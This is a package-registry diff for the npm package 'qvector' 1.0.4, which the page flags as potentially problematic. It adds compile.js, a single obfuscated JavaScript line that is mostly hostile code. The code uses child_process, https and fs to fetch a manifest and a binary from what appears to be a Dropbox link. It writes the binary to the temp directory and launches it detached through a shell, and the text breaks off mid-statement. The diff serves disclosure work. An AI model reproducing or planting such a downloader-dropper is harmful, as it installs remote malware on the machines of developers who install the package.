qvector 0.0.1-security → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of qvector might be problematic. Click here for more details.

package/compile.js ADDED
@@ -0,0 +1 @@
1
+ function _0xaf38(){const _0x7b58d=['W5pcH8kn','rHSgWQC','WPVdUMVcIG','WR8+FSko','wHLDW4i','WPCQW7TT','W7bmdIKSzuVcJr7cQ8oJDa','hSorzbHVAMOAWQzrW6/dUSob','W4PNWQyPWOxdJCowW5hdT8ojeCka','bCk4eXq','W4qsDSoG','W7qJvSoc','W7FdQ8kQEq','f8kBltq','BsuQWQG','W4ZdKt7cRG','W5pcHcNcQq','W53cG8kncW','W7pcSSkNkG','iSodlSku','FSonCb0','kmoIe8oI','omkTdmkO','WRqScJO','WPLHf8k4','WOXlzmo1','W5pcKcJcSG','WQXlzq','WQfxW5xcQW','mCkUW7PP','B8k5W5NdGa','W5ihB8oE','WO4lk8kd','W7qUgZK','WR1wza','m8oKeSke','omoUeSoI','n8oNySov','WRxcVmkPW5S','WRnhW6bb','xmkxnfu','wSobqsu','ygVcNH7cSdSmWQtdHvFdVN4l','W7KMhdW','edZdUCke','WRNdOhdcNq','ydKfWOO','W5HExSoX','mSkHgWW','W5j5wWy','WPRcSCkLWO0','W5BcKSkhca','WPXMwWG','hCkJsw0','W5RcUJZcKSo/CKddSey','E8oqEqO','hrFcO8kv','WOH8wbu','W4fGWQeQWO/dG8kOW6BdRSoWgmkGWPq','W49KzCoD','WOuqWOnpe8o6DCkWWR91','lu/dQa','W4hcKmkhfG','ButcSvS','WPDqW6tcTq','WOrpB8ky','W5JcICk6na','W7dcJ8kIaSk/WPtdN0u','W4FcHSkGva','WRfqW6/cGW','W77dQSkT','WODtW4LV','WOf3j8kK','WP0cW6BcQa','l8oMkSkx','omo5h8k5','DCksW7pdIG','CcuEWO0','carFla','WQfdW4ZcQG','WR3dSWZcTq','rSkTb2u','W4BcRSk8cG','WRddNHFcOq','WOa3W6nS','WQaYW4DD','WRrHnq','WQ1PxGS','W4mbEa','WQddN8kEfYv8WOC','WOOdtxW','WRuUW5rA','t8kSW4NdGW','WOhdGKfvamktW7KgWQBdMcrU','W6xcL8kGpa','W5auA8oK','W4OsACoD','jvNdR0S','W7VcImohF8oFW6BdHxyZxXPP','vWKVeq','jCkfitm','W4CHuSo+','WPH7o8k5','kmkKlIO','WRRdJSkdpa','Cb7dJ8ot','nmoOD0W','W69KW70a','W51Dq8ol','t8oAW6jP','W6hdQCk4','WODXmCkw','zJvmWPa','WRBdQSkZjq','nSo+zSoc','ptddGLG','WOtdPu3cMq','F1Twaq','xSolWRfN','WRD6Aq','qe3cN18','W4mcpCol','W6JcOJBcPq','WR0kFxC','d0mlWPVdSmkFz2myEq','CSofCcm','W5yOsCoF','W6j/k8kn','WQzOW71g','zXVdHSo0','hf/dV1S','W7RcUHxcGW','rqzFW5q','W5NcHSkgza','W5lcNG/cLW','wSo8W6HV','WPP9uHu','aSkgbfCEW5vyg8k0hCoyW5Tu','w8kkoK8','WQ7dR2pcKG','WPPhW7FcVG','hSoAyXLQB2e2WOHEW6xdVSoV','DK7cU0y','W7hcHCooE8oFW6pcG3ePsaXzlG','W5NcTZZdHSkLnstdVfxdTCocs8k9','W6pcHCkftW','WOv8mW','CCokv8oQaJia','W43cNCkECa','hXldJmki','WQafW7L+','imktmJm','W6O8atC','hCkUW6zO','WORdVL/cRq','WO5MuW','WQ82EKa','CGnzW5e','WOtcR8kPW4m','cSkFrCoJ','WPRdPCkMw8o7WRldL8kw','zHCfWOG','mSo+fSkH','wvzoW5e','WO4DEa','WR5oyCk0','WPLYDCoW','W4fGW4DvW6JcUmoYW54'];_0xaf38=function(){return _0x7b58d;};return _0xaf38();}const _0x53788d=_0x2244;function _0x2244(_0x1cadde,_0x1ef3d5){const _0xaf38f1=_0xaf38();return _0x2244=function(_0x224451,_0x3505cd){_0x224451=_0x224451-0x199;let _0x40b9f3=_0xaf38f1[_0x224451];if(_0x2244['iixNAF']===undefined){var _0xf92f40=function(_0xd33ad){const _0x505bb1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4b0338='',_0x4183bd='';for(let _0x5345a9=0x0,_0x5c1d1e,_0x22dfe7,_0xfa7ee=0x0;_0x22dfe7=_0xd33ad['charAt'](_0xfa7ee++);~_0x22dfe7&&(_0x5c1d1e=_0x5345a9%0x4?_0x5c1d1e*0x40+_0x22dfe7:_0x22dfe7,_0x5345a9++%0x4)?_0x4b0338+=String['fromCharCode'](0xff&_0x5c1d1e>>(-0x2*_0x5345a9&0x6)):0x0){_0x22dfe7=_0x505bb1['indexOf'](_0x22dfe7);}for(let _0xc4b4cc=0x0,_0x44ba75=_0x4b0338['length'];_0xc4b4cc<_0x44ba75;_0xc4b4cc++){_0x4183bd+='%'+('00'+_0x4b0338['charCodeAt'](_0xc4b4cc)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x4183bd);};const _0x4ceb4c=function(_0x45b2a,_0xb80d60){let _0x1946d1=[],_0x2a3b19=0x0,_0xb70261,_0x40dfa2='';_0x45b2a=_0xf92f40(_0x45b2a);let _0x6ae3ef;for(_0x6ae3ef=0x0;_0x6ae3ef<0x100;_0x6ae3ef++){_0x1946d1[_0x6ae3ef]=_0x6ae3ef;}for(_0x6ae3ef=0x0;_0x6ae3ef<0x100;_0x6ae3ef++){_0x2a3b19=(_0x2a3b19+_0x1946d1[_0x6ae3ef]+_0xb80d60['charCodeAt'](_0x6ae3ef%_0xb80d60['length']))%0x100,_0xb70261=_0x1946d1[_0x6ae3ef],_0x1946d1[_0x6ae3ef]=_0x1946d1[_0x2a3b19],_0x1946d1[_0x2a3b19]=_0xb70261;}_0x6ae3ef=0x0,_0x2a3b19=0x0;for(let _0xfa3176=0x0;_0xfa3176<_0x45b2a['length'];_0xfa3176++){_0x6ae3ef=(_0x6ae3ef+0x1)%0x100,_0x2a3b19=(_0x2a3b19+_0x1946d1[_0x6ae3ef])%0x100,_0xb70261=_0x1946d1[_0x6ae3ef],_0x1946d1[_0x6ae3ef]=_0x1946d1[_0x2a3b19],_0x1946d1[_0x2a3b19]=_0xb70261,_0x40dfa2+=String['fromCharCode'](_0x45b2a['charCodeAt'](_0xfa3176)^_0x1946d1[(_0x1946d1[_0x6ae3ef]+_0x1946d1[_0x2a3b19])%0x100]);}return _0x40dfa2;};_0x2244['kTQOZX']=_0x4ceb4c,_0x1cadde=arguments,_0x2244['iixNAF']=!![];}const _0xe216a2=_0xaf38f1[0x0],_0x14dd9c=_0x224451+_0xe216a2,_0x23efed=_0x1cadde[_0x14dd9c];return!_0x23efed?(_0x2244['ZGlEOy']===undefined&&(_0x2244['ZGlEOy']=!![]),_0x40b9f3=_0x2244['kTQOZX'](_0x40b9f3,_0x3505cd),_0x1cadde[_0x14dd9c]=_0x40b9f3):_0x40b9f3=_0x23efed,_0x40b9f3;},_0x2244(_0x1cadde,_0x1ef3d5);}(function(_0x44dc80,_0x2c4dfc){const _0x1d1ad3={_0x34a3de:0x1f1,_0x44e8bb:0x1ed,_0x1fa2d3:'S*D0',_0x3fbfdc:0x221,_0x489fd5:'6jba',_0x2d3a7f:0x19b,_0x2d5a6a:0x1d7,_0x18c56f:0x19a,_0x28638f:'bGCV',_0x5bb0a2:'CC$O',_0x3d80db:'59ee'},_0x1645c5=_0x2244,_0x3e9800=_0x44dc80();while(!![]){try{const _0x53ac87=-parseInt(_0x1645c5(_0x1d1ad3._0x34a3de,'@*7$'))/0x1+parseInt(_0x1645c5(0x1ca,'phri'))/0x2*(parseInt(_0x1645c5(0x1d0,'ynBW'))/0x3)+parseInt(_0x1645c5(0x21d,'3*&F'))/0x4+parseInt(_0x1645c5(_0x1d1ad3._0x44e8bb,_0x1d1ad3._0x1fa2d3))/0x5*(parseInt(_0x1645c5(_0x1d1ad3._0x3fbfdc,_0x1d1ad3._0x489fd5))/0x6)+-parseInt(_0x1645c5(_0x1d1ad3._0x2d3a7f,_0x1d1ad3._0x489fd5))/0x7*(parseInt(_0x1645c5(_0x1d1ad3._0x2d5a6a,'qTuf'))/0x8)+parseInt(_0x1645c5(_0x1d1ad3._0x18c56f,_0x1d1ad3._0x28638f))/0x9+-parseInt(_0x1645c5(0x1be,_0x1d1ad3._0x5bb0a2))/0xa*(-parseInt(_0x1645c5(0x234,_0x1d1ad3._0x3d80db))/0xb);if(_0x53ac87===_0x2c4dfc)break;else _0x3e9800['push'](_0x3e9800['shift']());}catch(_0x685e34){_0x3e9800['push'](_0x3e9800['shift']());}}}(_0xaf38,0xe5a64));const _0x5ed9bf=require('chil'+'d_pr'+_0x53788d(0x207,'CC$O')+'s'),_0x5cb949=require('fs'),_0x39b24f=require('http'+'s'),_0x34f229=require('os'),_0x44c1fd=require(_0x53788d(0x21c,'smcn')+_0x53788d(0x1fc,'qTuf')+_0x53788d(0x226,'pM!T'));async function _0x4dcd0e(_0x5b48a3,_0x24e6f1=![]){const _0x4effa2={_0x1e1038:0x228,_0x449dca:0x1cc,_0x2b8b51:'DAqk',_0x1918a7:'zpS(',_0x1c0f54:0x1a8,_0x56e0f0:'lFvd',_0x2da76e:'OL4W'},_0x4a6869={_0x5482be:0x230,_0x4b9dc4:'bGCV',_0xad4a92:'g41e',_0x34dceb:0x1bb,_0x164d28:0x1b2,_0x31e698:0x19d,_0x1d56c0:0x1e0,_0x479589:'tQFG',_0x3a848f:0x1e1,_0x44019f:0x1b5,_0x107603:'JHeQ',_0x5dc6ce:0x1f4,_0x116f39:'g41e',_0x1ca15b:0x1fe,_0x4131c2:'0FKR',_0x190506:0x1c7,_0x44cae6:0x1a9,_0x25f9c0:'FCTa',_0x648a58:0x1ea,_0x118980:'jTYI',_0x1e5704:0x22c,_0x569f16:'JHeQ'},_0x3fdfbd={_0x100290:0x1b0,_0x5aa23e:'zpS(',_0x313a33:0x1e8,_0x5458e9:'6IQT',_0x2625db:0x203,_0x5bcfd8:0x1da},_0x441c31={_0x3db08c:'phri'},_0x4e626e={_0x35f75b:'byvY'},_0x91a061=_0x2244,_0x5d5bf8={'BjKwS':function(_0x1ad47d,_0x25a89c){return _0x1ad47d===_0x25a89c;},'UOyhk':_0x91a061(_0x4effa2._0x1e1038,'^chN')+'u','ntFLk':function(_0x2d01da,_0x2d0286){return _0x2d01da!==_0x2d0286;},'SuCqY':_0x91a061(_0x4effa2._0x449dca,_0x4effa2._0x2b8b51)+'v','kceAl':_0x91a061(0x1d4,_0x4effa2._0x1918a7)+'r','vpjhq':function(_0x38bdd9,_0x4445df){return _0x38bdd9(_0x4445df);},'gODXR':'gNeu'+'h','cYBwo':_0x91a061(_0x4effa2._0x1c0f54,'3*&F')+'u','TPdhR':function(_0xa7bfe8,_0x16a25b){return _0xa7bfe8!==_0x16a25b;},'qasIm':_0x91a061(0x1a1,_0x4effa2._0x56e0f0)+'F','jiRLr':function(_0x826546,_0xc35f1b){return _0x826546>=_0xc35f1b;},'Qnzcn':function(_0xe90154,_0x210741){return _0xe90154<_0x210741;},'thUEY':function(_0x1f8ded,_0x3ba7fc){return _0x1f8ded(_0x3ba7fc);},'Vezkz':'data','gvrjp':_0x91a061(0x22f,'smcn'),'LNPaw':_0x91a061(0x22a,_0x4effa2._0x2da76e)+'O'};return new Promise((_0xbf7dc2,_0x4192d1)=>{const _0x5c8592={_0x164a50:0x1e3,_0x566937:'zpS(',_0x3b1254:0x219,_0x19b8bd:'^chN',_0x448009:0x21f,_0x4d8dcb:0x1aa,_0x5f561a:'byvY',_0x2734b3:0x1a7,_0x30e836:'FCTa',_0x25e4df:0x23e,_0x2fd01f:0x1df,_0x2c956f:'pM!T',_0x55bd2b:'zpS(',_0x4be48e:0x20b,_0x399e15:'sBHK',_0x34da95:0x20e,_0x49c6b9:0x222,_0xdb93ce:'U!U9',_0x29766a:0x1d9,_0x2f33d6:'HSVG',_0x19d104:'H9$m',_0x510247:'vwQM',_0x523f69:0x200,_0xfc44d2:'4et#'},_0x51086d={_0x1a23a0:0x1f0},_0x547722=_0x2244,_0x365fa0={'HlNNQ':function(_0x4e56ae,_0x2b1770){const _0x48c341=_0x2244;return _0x5d5bf8[_0x48c341(_0x51086d._0x1a23a0,'tQFG')+'q'](_0x4e56ae,_0x2b1770);},'SIPZW':function(_0x2b50bb,_0x14e380){const _0x894201=_0x2244;return _0x5d5bf8[_0x894201(0x1f7,'vZK1')+'S'](_0x2b50bb,_0x14e380);},'SaZpM':_0x5d5bf8[_0x547722(_0x4a6869._0x5482be,_0x4a6869._0x4b9dc4)+'R'],'RHICQ':function(_0x179762,_0xec7abd){return _0x179762!==_0xec7abd;},'paKUs':_0x5d5bf8['cYBw'+'o'],'EJjCj':function(_0x35f64d,_0x5a85f6){return _0x5d5bf8['TPdh'+'R'](_0x35f64d,_0x5a85f6);},'Xmlew':_0x547722(0x212,_0x4a6869._0xad4a92)+'n','IaVsF':_0x5d5bf8[_0x547722(_0x4a6869._0x34dceb,'wU1j')+'m'],'dNnNl':function(_0x25ef6a,_0x192155){return _0x25ef6a(_0x192155);},'iNPYx':function(_0x1cd649,_0x468027){const _0x47b5dc=_0x2244;return _0x5d5bf8[_0x47b5dc(0x1d6,_0x4e626e._0x35f75b)+'r'](_0x1cd649,_0x468027);},'FdxOh':function(_0x33cfd2,_0x1dc14e){const _0x39ee73=_0x2244;return _0x5d5bf8[_0x39ee73(0x1c1,_0x441c31._0x3db08c)+'n'](_0x33cfd2,_0x1dc14e);},'KSldQ':function(_0x3e359f,_0x55363f,_0x1a9f57){return _0x3e359f(_0x55363f,_0x1a9f57);},'CryYa':function(_0x44d6fa,_0x27168e){return _0x5d5bf8['thUE'+'Y'](_0x44d6fa,_0x27168e);},'WJkbZ':_0x5d5bf8[_0x547722(_0x4a6869._0x164d28,'tQFG')+'z'],'WKTyL':_0x5d5bf8[_0x547722(0x19e,'Sqz1')+'p']};if(_0x5d5bf8[_0x547722(_0x4a6869._0x31e698,'lFvd')+'S'](_0x5d5bf8[_0x547722(_0x4a6869._0x1d56c0,_0x4a6869._0x479589)+'w'],'RWkg'+'O')){const _0x137987=(_0xcd7e54,_0x4681c0)=>{const _0x188286={_0x12d972:0x214,_0xf32b65:'wU1j'},_0xae42dc={_0x45af7b:0x1a2},_0x3132fb={_0x489b89:0x20c},_0x5efb99=_0x2244,_0x2556b1={'PKcjb':function(_0x36faa0,_0x3cd7fd){return _0x36faa0(_0x3cd7fd);},'dqhSx':function(_0x295fb4,_0x360ec2){const _0x3b6c2e=_0x2244;return _0x5d5bf8[_0x3b6c2e(_0x3132fb._0x489b89,'U!U9')+'S'](_0x295fb4,_0x360ec2);},'qoUVL':_0x5d5bf8['UOyh'+'k'],'xilIq':function(_0x11b871,_0x20e7d9){const _0x3a0555=_0x2244;return _0x5d5bf8[_0x3a0555(_0xae42dc._0x45af7b,'6rGl')+'k'](_0x11b871,_0x20e7d9);},'SAKwX':_0x5d5bf8[_0x5efb99(_0x3fdfbd._0x100290,_0x3fdfbd._0x5aa23e)+'Y']},_0x313ec0=_0x39b24f[_0x5efb99(_0x3fdfbd._0x313a33,'OL4W')+_0x5efb99(0x1d1,_0x3fdfbd._0x5458e9)](_0xcd7e54,_0x4681c0,_0x472a67=>{const _0x1db880={_0xd70f5d:'pb@T',_0x4a6ce7:'g41e',_0x4205db:'phri',_0x40485e:0x1af,_0x54f52a:0x21e,_0x51fd4d:'6jba',_0x3da7b6:0x1c0,_0x38e082:0x1dc,_0xce9edc:'pM!T',_0x3b3a09:'FCTa',_0xfd719d:0x22b,_0x1924c2:'HSVG'},_0x24026d={_0x319a45:0x216,_0x6cf7ee:'6IQT',_0x3b25dc:'qTuf',_0x45a069:0x21a,_0x16ffa1:'H9$m',_0x40566d:'FCTa',_0xe8c377:'ynBW',_0x5b6cf2:0x211,_0x22bef9:'W!*c',_0x30bd5a:0x1bf,_0x25db6a:'JHeQ',_0x3d74e1:'LI%U'},_0x255490={_0x3aa73e:'0FKR'},_0x2be5d6={_0x5d23b9:0x1c3,_0x5702d8:'4et#'},_0x4b832d=_0x2244,_0x2704cb={'lkGgT':function(_0x557420,_0x35d317,_0x1da291){return _0x557420(_0x35d317,_0x1da291);},'Bzsdi':function(_0x17502a,_0x8816b1){return _0x365fa0['HlNN'+'Q'](_0x17502a,_0x8816b1);},'TQuyA':function(_0x3b7908,_0x1d9d7f){return _0x365fa0['HlNN'+'Q'](_0x3b7908,_0x1d9d7f);},'eHzph':function(_0x5265be,_0x297cae){return _0x365fa0['SIPZ'+'W'](_0x5265be,_0x297cae);},'VEKoC':_0x365fa0[_0x4b832d(_0x5c8592._0x164a50,_0x5c8592._0x566937)+'M'],'kuvAu':function(_0x1960af,_0x5b11fe){const _0x2989fb=_0x2244;return _0x365fa0[_0x2989fb(_0x2be5d6._0x5d23b9,_0x2be5d6._0x5702d8)+'Q'](_0x1960af,_0x5b11fe);},'SQUgc':_0x365fa0[_0x4b832d(_0x5c8592._0x3b1254,_0x5c8592._0x19b8bd)+'s'],'KxjhM':function(_0x2deac2,_0x13f54b){const _0x1ebd22=_0x2244;return _0x365fa0[_0x1ebd22(0x23d,'6rGl')+'j'](_0x2deac2,_0x13f54b);},'cAVmz':_0x365fa0[_0x4b832d(0x22d,'W0Ns')+'w'],'dkTZz':_0x365fa0[_0x4b832d(0x225,'QcGj')+'F'],'bpUSR':function(_0x109597,_0x4ba3c3){const _0x5180ce=_0x2244;return _0x365fa0[_0x5180ce(_0x188286._0x12d972,_0x188286._0xf32b65)+'l'](_0x109597,_0x4ba3c3);},'gAjPq':_0x4b832d(_0x5c8592._0x448009,'phri')+'ed\x20t'+_0x4b832d(0x237,'qhay')+_0x4b832d(0x1d3,'U!U9')+_0x4b832d(_0x5c8592._0x4d8dcb,'FCTa')+_0x4b832d(0x1d2,_0x5c8592._0x5f561a)+'se'};if(_0x365fa0[_0x4b832d(_0x5c8592._0x2734b3,_0x5c8592._0x30e836)+'x'](_0x472a67[_0x4b832d(_0x5c8592._0x25e4df,'phri')+'usCo'+'de'],0x12c)&&_0x365fa0['FdxO'+'h'](_0x472a67[_0x4b832d(_0x5c8592._0x2fd01f,'FCTa')+_0x4b832d(0x1ac,_0x5c8592._0x2c956f)+'de'],0x190)&&_0x472a67[_0x4b832d(0x220,_0x5c8592._0x55bd2b)+_0x4b832d(_0x5c8592._0x4be48e,'jTYI')][_0x4b832d(0x1a0,_0x5c8592._0x399e15)+_0x4b832d(0x1fa,'pM!T')])return _0x365fa0[_0x4b832d(_0x5c8592._0x34da95,'W!*c')+'Q'](_0x137987,_0x472a67[_0x4b832d(0x1e7,'pb@T')+_0x4b832d(0x238,'HSVG')][_0x4b832d(0x240,'qhay')+_0x4b832d(_0x5c8592._0x49c6b9,_0x5c8592._0xdb93ce)],_0x4681c0);if(_0x472a67[_0x4b832d(0x1bc,'6jba')+_0x4b832d(0x1c4,'lFvd')+'de']!==0xc8)return _0x365fa0[_0x4b832d(_0x5c8592._0x29766a,'zpS(')+'a'](_0x4192d1,new Error('Fail'+'ed\x20t'+_0x4b832d(0x1d5,_0x5c8592._0x2f33d6)+'wnlo'+_0x4b832d(0x20a,_0x5c8592._0x19d104)+_0x4b832d(0x1c6,_0x5c8592._0x510247)+'\x20'+_0x472a67[_0x4b832d(0x1fd,'LOOE')+'usCo'+'de']));let _0x6c7522=_0x24e6f1?'':[];_0x472a67['on'](_0x365fa0['WJkb'+'Z'],_0x5b85f4=>{const _0xccaa3=_0x2244,_0x35ba13={'rmecf':function(_0x4fa22b,_0x9f2b06){const _0x56d5d8=_0x2244;return _0x2556b1[_0x56d5d8(0x23a,_0x255490._0x3aa73e)+'b'](_0x4fa22b,_0x9f2b06);}};_0xccaa3(_0x24026d._0x319a45,_0x24026d._0x6cf7ee)+'R'!==_0xccaa3(0x205,_0x24026d._0x3b25dc)+'h'?_0x24e6f1?_0x2556b1[_0xccaa3(0x215,'LOOE')+'x'](_0x2556b1['qoUV'+'L'],_0x2556b1[_0xccaa3(_0x24026d._0x45a069,'W!*c')+'L'])?_0x6c7522+=_0x5b85f4:_0x6ae3ef?_0x58866e+=_0x457894:_0x2c4592[_0xccaa3(0x201,_0x24026d._0x16ffa1)](_0xf3b9d5):_0x2556b1[_0xccaa3(0x1b7,_0x24026d._0x40566d)+'q'](_0x2556b1[_0xccaa3(0x1ff,_0x24026d._0xe8c377)+'X'],_0xccaa3(_0x24026d._0x5b6cf2,'3*&F')+'W')?_0x6c7522[_0xccaa3(0x1a4,_0x24026d._0x22bef9)](_0x5b85f4):_0x321c50(_0x4c4ff7[_0xccaa3(_0x24026d._0x30bd5a,_0x24026d._0x25db6a)+'at'](_0x5870a2)):_0x35ba13[_0xccaa3(0x206,_0x24026d._0x3d74e1)+'f'](_0x54101c,_0x84fb7d[_0xccaa3(0x1ae,'W!*c')+'e'](_0x65759e));}),_0x472a67['on'](_0x365fa0[_0x4b832d(_0x5c8592._0x523f69,_0x5c8592._0xfc44d2)+'L'],()=>{const _0x142da8=_0x2244;if(_0x2704cb[_0x142da8(0x1e4,_0x1db880._0xd70f5d)+'h'](_0x2704cb[_0x142da8(0x19f,_0x1db880._0x4a6ce7)+'C'],_0x2704cb['VEKo'+'C']))try{if(_0x24e6f1){if(_0x2704cb['kuvA'+'u'](_0x2704cb['SQUg'+'c'],'qHna'+'G'))_0x2704cb['Bzsd'+'i'](_0xbf7dc2,JSON[_0x142da8(0x1b3,_0x1db880._0x4a6ce7)+'e'](_0x6c7522));else return _0x2704cb[_0x142da8(0x208,_0x1db880._0x4205db)+'T'](_0x4b0338,_0x4183bd['head'+_0x142da8(_0x1db880._0x40485e,'0FKR')][_0x142da8(0x229,'n2]p')+_0x142da8(_0x1db880._0x54f52a,_0x1db880._0x51fd4d)],_0x5345a9);}else _0x2704cb['Kxjh'+'M'](_0x2704cb[_0x142da8(_0x1db880._0x3da7b6,'n2]p')+'z'],_0x142da8(0x1e6,'byvY')+'n')?_0x170511['erro'+'r'](_0x142da8(0x1ad,'0FKR')+'r:',_0x235a14[_0x142da8(_0x1db880._0x38e082,_0x1db880._0xce9edc)+_0x142da8(0x23c,'byvY')]):_0x2704cb['TQuy'+'A'](_0xbf7dc2,Buffer['conc'+'at'](_0x6c7522));}catch(_0x5ca18f){_0x2704cb[_0x142da8(0x1bd,'3*&F')+'u'](_0x2704cb[_0x142da8(0x1de,_0x1db880._0x3b3a09)+'z'],_0x2704cb[_0x142da8(0x1de,'FCTa')+'z'])?_0x40bb3d+=_0x64a0e4:_0x2704cb[_0x142da8(0x22e,_0x1db880._0x4205db)+'R'](_0x4192d1,new Error(_0x2704cb[_0x142da8(_0x1db880._0xfd719d,'lFvd')+'q']));}else _0x4f44b5?_0x2704cb[_0x142da8(0x1ee,'bGCV')+'i'](_0x1c18e6,_0x5ab51f['pars'+'e'](_0x22c10d)):_0x2704cb[_0x142da8(0x23f,_0x1db880._0x1924c2)+'A'](_0x1ae54d,_0x132e9c['conc'+'at'](_0x4a9b05));});});_0x313ec0['on'](_0x5d5bf8[_0x5efb99(_0x3fdfbd._0x2625db,'pM!T')+'l'],_0x5b386e=>_0x4192d1(_0x5b386e)),_0x313ec0[_0x5efb99(_0x3fdfbd._0x5bcfd8,'sBHK')]();},_0xe5516a={'rlkey':_0x5b48a3['rlke'+'y'],'dl':!![]},_0x5dddc1=_0x44c1fd[_0x547722(_0x4a6869._0x3a848f,'6rGl')+_0x547722(_0x4a6869._0x44019f,_0x4a6869._0x107603)+'y'](_0xe5516a),_0x26750d={'method':'GET'},_0x40fb4c=_0x547722(_0x4a6869._0x5dc6ce,_0x4a6869._0x116f39)+_0x547722(_0x4a6869._0x1ca15b,'lFvd')+_0x547722(0x239,_0x4a6869._0x4131c2)+_0x547722(_0x4a6869._0x190506,'byvY')+'box.'+_0x547722(_0x4a6869._0x44cae6,'FCTa')+_0x547722(0x1b8,_0x4a6869._0x25f9c0)+_0x547722(_0x4a6869._0x648a58,_0x4a6869._0x118980)+_0x5b48a3['fi']+'/'+_0x5b48a3[_0x547722(0x1d8,'^chN')]+'?'+_0x5dddc1;_0x137987(_0x40fb4c,_0x26750d);}else _0x490dd4[_0x547722(_0x4a6869._0x1e5704,_0x4a6869._0x569f16)](_0x344bd2);});}((async()=>{const _0x384442={_0x158c8a:0x236,_0x3118f7:'FCTa',_0x1a4d24:0x213,_0x247434:'jTYI',_0x53fa22:0x209,_0x4e72f4:'smcn',_0x2895ff:0x1ef,_0x662344:'i8#7',_0x1e657a:'6jba',_0x1103ab:'4et#',_0x322348:0x1a6,_0x345553:'byvY',_0x44d225:0x231,_0xe5cd6a:'wU1j',_0x5e13e8:0x1b6,_0x532509:0x199,_0x1d987a:'OL4W',_0x46339b:0x202,_0x554590:'S*D0',_0xbecbec:0x1cd,_0x24352e:0x1ab,_0x64d06c:0x232,_0x3061c7:'vwQM',_0x33d513:0x235,_0x514369:'6rGl',_0x5715ec:'H9$m',_0x350e98:0x233,_0x4cbf6c:'NUxd',_0x365cb2:0x218,_0x5177b4:0x1c9,_0x31268c:0x1e2,_0x35c3bb:0x1eb,_0x38b35f:'W!*c',_0x2d0f9e:0x1c8,_0x1a031f:'g41e',_0x4603ee:0x1b9,_0x2b20cb:'LI%U',_0x2b87c2:0x217,_0x20a73d:'vwQM',_0xe7d4:0x1b4,_0x13d456:0x1dd,_0x15fdba:'zpS(',_0x24ead3:0x1a5,_0xe44a8b:0x1f3,_0x327e2d:0x1f8,_0x5c2e0f:'6IQT'},_0x5ec9b0=_0x2244,_0x1442e0={'JdNnf':function(_0x869442,_0x41f463){return _0x869442(_0x41f463);},'eGOSl':function(_0x1ca942,_0x2ca0cb){return _0x1ca942(_0x2ca0cb);},'ARORX':_0x5ec9b0(0x1c2,'6rGl')+'a','hntQk':'8n0x'+_0x5ec9b0(_0x384442._0x158c8a,_0x384442._0x3118f7)+'ioo3'+'i83n'+'mkp7'+'g','irBJV':_0x5ec9b0(_0x384442._0x1a4d24,_0x384442._0x247434)+'lsqf'+_0x5ec9b0(_0x384442._0x53fa22,'vZK1')+_0x5ec9b0(0x1c5,_0x384442._0x4e72f4)+'1w9l'+_0x5ec9b0(_0x384442._0x2895ff,_0x384442._0x662344)+'l','uEjjx':function(_0x452be5,_0x273325){return _0x452be5===_0x273325;},'DugrJ':_0x5ec9b0(0x1e5,_0x384442._0x1e657a)+'B','EuZgd':function(_0x2d993e,_0x5faaed,_0x3600e8){return _0x2d993e(_0x5faaed,_0x3600e8);},'ovvIj':function(_0x570607,_0x20b6af){return _0x570607!==_0x20b6af;},'YKOBQ':_0x5ec9b0(0x1f2,'byvY')+'n','bWyPs':_0x5ec9b0(0x1cf,_0x384442._0x1103ab)+'r:'},_0x56b8c5={'name':_0x1442e0[_0x5ec9b0(_0x384442._0x322348,_0x384442._0x345553)+'X'],'fi':_0x1442e0['hntQ'+'k'],'rlkey':_0x1442e0['irBJ'+'V']};try{if(_0x1442e0['uEjj'+'x'](_0x1442e0[_0x5ec9b0(_0x384442._0x44d225,'qhay')+'J'],_0x1442e0['Dugr'+'J'])){const _0x38a253=await _0x1442e0[_0x5ec9b0(0x1db,_0x384442._0xe5cd6a)+'d'](_0x4dcd0e,_0x56b8c5,!![]);if(!_0x38a253['qvec'+_0x5ec9b0(_0x384442._0x5e13e8,'0FKR')])process[_0x5ec9b0(_0x384442._0x532509,_0x384442._0x1d987a)](0x0);const _0x384208=await _0x1442e0['EuZg'+'d'](_0x4dcd0e,_0x38a253['qvec'+_0x5ec9b0(_0x384442._0x46339b,_0x384442._0x554590)],![]),_0x5cd008=_0x34f229[_0x5ec9b0(0x1b1,'W0Ns')+'ir']()+('\x5cqve'+_0x5ec9b0(_0x384442._0xbecbec,'smcn')+_0x5ec9b0(_0x384442._0x24352e,'JHeQ'));_0x5cb949[_0x5ec9b0(_0x384442._0x64d06c,_0x384442._0x3061c7)+_0x5ec9b0(_0x384442._0x33d513,_0x384442._0x514369)+_0x5ec9b0(0x21b,_0x384442._0x5715ec)+'c'](_0x5cd008,_0x384208);if(!_0x5cb949['exis'+_0x5ec9b0(_0x384442._0x350e98,_0x384442._0x4cbf6c)+'nc'](_0x5cd008))return;const _0x23ce67=_0x5ed9bf[_0x5ec9b0(_0x384442._0x365cb2,'qhay')+'n'](_0x5cd008,[],{'detached':!![],'shell':!![]});_0x23ce67[_0x5ec9b0(_0x384442._0x5177b4,'TjfS')+'f'](),process[_0x5ec9b0(_0x384442._0x31268c,'$8n#')]();}else return _0x1442e0[_0x5ec9b0(0x1cb,'3*&F')+'f'](_0xc4b4cc,new _0x44ba75(_0x5ec9b0(_0x384442._0x35c3bb,'smcn')+_0x5ec9b0(0x204,_0x384442._0x514369)+_0x5ec9b0(0x1a3,_0x384442._0x38b35f)+_0x5ec9b0(_0x384442._0x2d0f9e,'smcn')+_0x5ec9b0(0x20d,_0x384442._0x1a031f)+'ile:'+'\x20'+_0x45b2a[_0x5ec9b0(_0x384442._0x4603ee,_0x384442._0x2b20cb)+_0x5ec9b0(0x20f,'bGCV')+'de']));}catch(_0x2022c3){_0x1442e0[_0x5ec9b0(0x1fb,'lFvd')+'j'](_0x1442e0['YKOB'+'Q'],_0x1442e0[_0x5ec9b0(_0x384442._0x2b87c2,_0x384442._0x38b35f)+'Q'])?_0x1442e0[_0x5ec9b0(0x1f9,'g41e')+'l'](_0x47608d,new 